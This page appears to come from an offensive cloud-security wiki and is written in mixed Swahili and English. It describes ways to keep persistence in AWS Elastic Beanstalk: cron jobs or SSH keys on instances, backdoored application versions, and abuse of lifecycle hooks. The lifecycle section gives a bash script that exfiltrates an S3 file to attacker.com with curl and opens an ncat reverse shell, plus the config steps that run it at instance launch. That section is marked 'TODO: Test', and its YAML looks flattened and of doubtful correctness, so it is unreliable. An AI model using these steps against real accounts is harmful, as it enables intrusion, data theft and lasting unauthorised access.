AWS - Elastic Beanstalk Persistence

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Elastic Beanstalk

Kwa maelezo zaidi angalia:

AWS - Elastic Beanstalk Enum

Ili kudumisha persistence ndani ya AWS account, inaweza kuanzishwa baadhi ya persistence mechanism could be introduced inside the instance (cron job, ssh key...) ili mshambuliaji aweze kuifikia na kunyakua IAM role credentials from the metadata service.

Backdoor in Version

Mshambuliaji anaweza backdoor the code inside the S3 repo ili kila mara itekeleze backdoor yake pamoja na the expected code.

New backdoored version

Badala ya kubadilisha the code kwenye version ya sasa, mshambuliaji anaweza ku-deploy version mpya iliyebackdoored ya application.

Abusing Custom Resource Lifecycle Hooks

note

TODO: Test

Elastic Beanstalk hutoa lifecycle hooks zinazokuja kukuruhusu kuendesha custom scripts wakati wa instance provisioning na termination. Mshambuliaji anaweza configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account.

bash

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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